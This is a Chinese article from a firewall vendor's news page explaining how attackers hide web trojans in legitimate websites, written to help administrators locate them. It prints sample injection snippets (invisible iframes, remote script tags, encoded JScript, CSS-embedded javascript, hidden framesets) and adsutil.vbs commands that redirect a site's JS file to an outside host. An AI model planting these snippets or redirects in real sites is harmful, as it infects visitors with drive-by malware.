English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> 黑客怎样“挂马”?

 

黑客怎样“挂马”?

威盾防火墙 2015-02-28

 
网页木马在本质上是一个Web页,但是又和普通的Web页面有很大的区别,首先就是由于其特殊性,网页木马无法光明正大地存在,只能隐藏在正常的Web页面中。把网页木马嵌入到正常的网页中的行为,就是俗称的“挂马”。挂马并不是仅仅将恶意代码写入正常网页这么简单,因为对于挂马者来说,希望网页木马的生存时间能尽可能地长,按照现在的黑客产业链的黑市价格,在一个大型社区网站挂一个小时的网页木马就需要几千元人民币,所以为了躲避管理员的检查,挂马的黑客们绞尽脑汁,网页木马的隐藏技术也因此得到了极大的发展,大致有以下几种。

    (1)在页面插入一个隐藏的框架:在网页中插入一段如下的HTML代码:<iframe src=http://网页木马地址width=0 height=0></iframe>,其中width和height属性为0意味着该框架是不可见的,受害者若不查看源代码很难发现网页木马。这个方法也是挂马最常用的一段代码,但是随着网站管理员和广大网民安全意识的提高,只要在源代码中搜索iframe这个关键字,就很容易找到网页木马的源头。

    (2)利用java script引入网页木马:相比iframe这个标签,<SCRIPT src="http://hake.js" type=text/java script>这段代码就显得更加隐蔽,因为几乎95%的网页中都会出现类似的script 标签,利用js引入网页木马也有多种方法:

    *在js中直接写出框架网页木马,示例代码如下:

document.write("<iframe width='0' height='0' src='网页木马地址'></iframe>");

    *指定language的属性为"JScript.Encode",还可以引入其他扩展名的js代码,这样就更加具有迷惑性,示例代码如下:

<SCRIPT language="JScript.Encode" src=http://www. xxx.com/mm.jpg></script>;

    *利用js更改body的innerHTML属性,引入网页木马,如果对内容进行编码的话,不但能绕过杀毒软件的检测,而且增加了解密的难度,示例代码如下:

op.document.body.innerHTML=top.document.body.innerHTML+'\r\n<iframe src="http://网页木马地址/%22%3E%3C/iframe%3E';

    *利用java script的window.open方法打开一个不可见的新窗口,示例代码如下:

<SCRIPT language=java script>window.open("网页木马地址","","toolbar=no, location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1"); </script>;

    *利用URL欺骗,示例代码如下:

a href="http://www.china125.com(/迷惑用户的链接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的正常内容</a>:
<SCRIPT Language="java script">
function www_163_com ()
{
var url="网页木马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no, scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

    (3)利用body的onload属性引入网页木马:使用如下代码就可以使网页在加载完成的时候跳转到网页木马的网址<body onload="window.location='网页木马地址';"></body>。

    (4)利用层叠样式表CSS引入js,从而引入网页木马,示例代码如下:body{background- image:url('java script:document.write("<script src=http://www.XXX.com/xx.js></script>")')}。

    (5)利用隐藏的分割框架引入网页木马,示例代码如下:

<frameset rows="444,0" cols="*"><frame src="正常网页" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"><frame src="网页木马" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight= "0">
</frameset>

    (6)利用ISAPI引入网页木马:ISAPI(Internet服务应用程序编程接口)技术使开发人员可以扩展IIS服务器提供的功能。ISAPI扩展是一个动态链接库(.dll),它使用ISAPI提供一套Web功能,这些功能超过IIS以本机方式提供的功能。当用户需要使用ISAPI扩展提供的一种功能时,他们可以向服务器发送一个请求。某些情况下可以直接调用ISAPI扩展,但更常见的情况是用户在服务器上请求包含要处理的命令的文件。遇有用户请求此类文件时,IIS会确定应该用哪个ISAPI扩展分析该文件,方法是查看一个脚本映射表,该表列出了与服务器上的各个ISAPI扩展相关的文件扩展名。

    ISAPI本意是扩展IIS的功能,可以做成IIS防火墙,过滤一些非法内容,也可以防盗链的防火墙,但在黑客的手里却成了攻击的利器,ISAPI可以做成服务器上的后门,在挂马中可以对HTTP请求进行过滤,然后在里面插入iframe等的标签插入网页木马,这种插入网页木马的方式十分隐蔽,管理员从Web目录文件的检查中看不出什么异常,但是用户所得到的网页中还是被插入了网页木马,有点安全意识的管理员可能会想到是ISAPI的问题,假如发现有新增加的ISAPI映射,那就可能有问题了,但假如是现有的ISAPI DLL被替换,那就更难被发现了,还得一个个对比正常的IIS中的文件,大大增加了发现的难度,但是编写ISAPI扩展的难度也比较大,网上也从未公布过这样的代码,本书在这里也不打算具体介绍这方面的技术,以免被用于歧途,而介绍的目的是希望能引起管理员对这种新型挂马方式的注意,尽管编写这样的DLL插件有一定的技术门槛,但是有网络上还是有网友发现出现过这样攻击的,如图2.1所示(解析asp脚本的DLL被黑客替换了)。

修改过的ISAPI-黑客是怎样“挂马”的

图2.1 修改过的ISAPI

    (7)利用IIS的资源重定向引入网页木马:现在最常见的挂马就是修改页面,在里面插入一个iframe标签,比较高级一点的是利用script标签或者CSS样式表在其中插入挂马的代码,这些方法上面都已经介绍过了,但这些方法无一例外都需要修改Web目录下的文件,现在由于管理员安全意识的提高,修改Web目录下的文件这个做法很容易被发现,甚至现在已经开发出了监视IIS Web目录的软件,所有未授权的更改都会被拒绝。但“道高一尺,魔高一丈”,IIS里面有一个资源重定向的功能,如果我们将这个页面选择重定向到我们已经控制的一个页面,那么当浏览器请求这个页面的时候将会转而去访问我们定义好的那个页面,如果这个页面是网页木马呢?

    这是一种很简单的方法,只要任何能接触到IIS管理器的人都能轻易地做到,但是如果页面跳转得比较明显,或者影响范围比较广,那么管理员肯定会首先检查Web目录下的文件,假如还是没有找到问题,可能就会检查IIS中出的问题页面文件的属性,就会发现其中的问题。几乎每个页面都会引用到很多js脚本,类似这样的HTML语句:<script src=include/xx.js></script>,假如我们替换的是其中的一个脚本的话,使用document.Write方法写出网页木马的iframe框架并且保留原js脚本的功能,那么隐藏性就大大提高了,因为没有改动任何文件,除非管理员一个一个地检查文件的属性,否则很难发现问题,但那样的话代价将会很大。如图2.2、图2.3所示。

 IIS的文件重定向

图2.2 IIS的文件重定向

成功重定向页面

图2.3 成功重定向页面

    尽管这种方法已经相当隐蔽,但是勤快的管理员还是会发现有js脚本被修改的;那么,黑客是否还有更加高明的手段呢,答案是肯定的。IIS中可以建立一个没有物理目录的虚拟目录,这样一来这个目录就会在IIS里不可见,黑客们就会利用虚拟目录做文章:黑客会首先建立一个不可见的虚拟目录,如果主页里调用了include文件夹下的js文件,那么就建立include目录,这项操作可以借助IIS的脚本实现,其中adsutil.vbs脚本是在IIS的安装目录如C:\Inetpub\AdminScripts下的,是控制IIS行为的一个脚本,我们可以用如下命令建立虚拟目录:

script adsutil.vbs Create W3SVC/1/Root/www/include "IIsWebVirtualDir"

    于是就建立了一个IIS里不可见的虚拟目录,因为没有设置路径,所以不会在IIS管理器中显示。然后再在这个目录下建立一个名字叫做xx.js的虚拟目录:

script adsutil.vbs Create W3SVC/1/Root/www/include/xx.js "IIsWebVirtualDir"

    这样,就存在一个include/xx.js的虚拟目录了。然后再利用脚本对这个目录进行资源重定向,cscript adsutil.vbs set W3SVC/1/Root/www/include/mm2.js/ httpredirect "http://xx.com/yy.js"。这样就更改了xx.js虚拟目录的重定向特性。注意:其中W3SVC/1/Root/www/代表IIs下的第一个Web服务器的www虚拟目录,其他的操作可以打开adsutil.vbs脚本的帮助看看!这样操作之后就设置了虚拟目录的重定向特性,现在试着在主页里调用include/xx.js,所有调用xx.js的页面都会被重定向到yy.js,并且xx.js没有任何的改动和影响!这是IIS的一种特性,从某种意义上说是一个Bug,它处理用户的请求是虚拟目录优先于物理目录,而且IIS管理器中也没有留下任何的蛛丝马迹。这样,网页木马在这个服务器上就更难被清除了。这可以说是管理员的噩梦,除了重新安装IIS或者恢复IIS的设置,似乎没有更好的办法去对付这种方法。

    (8)利用数据库引入网页木马:现在网络上几乎50%的网站都是基于数据库建立的动态网站,这里说的动态网页,与网页上的各种动画、滚动字幕等视觉上的“动态效果”没有直接关系,动态网页可以是纯文字内容的,也可以是包含各种动画的内容,这些只是网页具体内容的表现形式,无论网页是否具有动态效果,采用动态网站技术生成的网页都称为动态网页。从网站浏览者的角度来看,无论是动态网页还是静态网页,都可以展示基本的文字和图片信息,但从网站开发、管理、维护的角度来看就有很大的差别。

    动态网页一般有如下四个特点:第一,动态网页以数据库技术为基础,可以大大降低网站维护的工作量;第二,采用动态网页技术的网站可以实现更多的功能,如用户注册、用户登录、在线调查、用户管理、订单管理等;第三,动态网页实际上并不是独立存在于服务器上的网页文件,只有当用户请求时服务器才返回一个完整的网页;第四,动态网页中的“?”对搜索引擎检索存在一定的问题,搜索引擎一般不可能从一个网站的数据库中访问全部网页,或者出于技术方面的考虑,搜索蜘蛛不去抓取网址中“?”后面的内容,因此采用动态网页的网站在进行搜索引擎推广时需要做一定的技术处理才能适应搜索引擎的要求。黑客们在取得网站的权限之后,可以通过后台系统或者webshell将iframe等网页木马更新到数据库中,又或者通过SQL注入点利用update语句将网页木马注射进数据库。不过,由于一般注入点的权限都是比较低的,可能这个方法不容易实现。但不可否认,数据库也是网页木马一个非常好的隐蔽角落。

    (9)利用统计网站大规模挂马:现在很多网站为了统计网站的流量,都使用流量统计系统,只要统计网站被攻陷,无数使用该统计系统的网站都会成为受害者。统计网站间接挂马的方式将有可能取代传统的单一网页挂马而成为未来网页挂马的主流途径。因此,黑客肆意寻找知名的第三方网站“下手”,成功入侵后对该网站进行挂马,从而使得其他依赖该第三方网站功能的网站自动被中上了木马页面,这样显然极大地增强了木马的传播能力。由于使用知名第三方网站功能的网站很多,使得网页木马能够短时间内迅速膨胀传播,对社会的危害极大。所以,使用这种间接挂马的方法,使得单纯分析网页本身代码的方法已经无法发现网站是否被挂马。微点反病毒专家在用户的反馈中发现,由于间接挂马手段的隐蔽性较强,很多网站的管理员甚至连自己都不知道网站已经被挂马,如图2.4和图2.5所示。

传统的网页挂马方式

图2.4  传统的网页挂马方式

“新形态”的网页挂马方式

图2.5 “新形态”的网页挂马方式

     (10)利用ARP欺骗引入网页木马:这种手段也是近年来才开始流行的,并有大规模扩散的趋势。无论是服务器端还是本地网络,都发现过利用ARP欺骗进行挂马的攻击手段,在第1章中也介绍了相关的原理,其实就是病毒截获了用户的HTTP封包,在里面加入了挂马的代码,著名的驱动开发网就曾经受到过服务器机房ARP欺骗挂马的攻击,相对于欺骗服务器来说,利用ARP欺骗攻击本地局域网的一些木马病毒危害更大,因为前者只会危害浏览特定网站的目标,而后者所有局域网的用户只要有发出HTTP请求的,均会被插入挂马代码,危害极大,甚至作者还在网上公布了源代码,更加速了此类病毒的传播,如图2.6所示。

公开代码的ARP欺骗木马 

图2.6  公开代码的ARP欺骗木马

    网页木马的藏身之处大致有上述10种,无论是网站管理员还是普通网民,如果发现网页木马,就可以对照以上10种情况来查找网页木马的踪迹。对于现在流行的大多数网页木马,当前的杀毒软件还是能查杀的,网民能够及时地把信息反馈给管理员就可以有助于保护其他网民。如果是一些未公开漏洞或者免杀过的,可能杀毒软件就无能为力了,但也不是发现不了;熟悉HIPS的用户可以在上网的时候开着,监控IE创建新的进程,就能够有效地杜绝网页木马的袭击。


相关内容: 最新内容:
从网站日志来简单分析和预防黑客的入侵[2015-02-28]
分层纵深防御,一切黑客入侵都是浮云[2015-02-28]
如何防止黑客入侵之攻击者如何搞定你的口令/密码?[2015-02-28]
如何防范黑客入侵[2015-02-28]
网站为什么被黑客入侵,如何防止别人入侵自己的网站[2015-02-28]
如何防止网络黑客入侵[2015-02-27]
教你如何用ISAPI_Rewrite做IIS防盗链[2015-02-28]
从网站日志来简单分析和预防黑客的入侵[2015-02-28]
分层纵深防御,一切黑客入侵都是浮云[2015-02-28]
如何防止黑客入侵之攻击者如何搞定你的口令/密码?[2015-02-28]
如何防范黑客入侵[2015-02-28]
网站为什么被黑客入侵,如何防止别人入侵自己的网站[2015-02-28]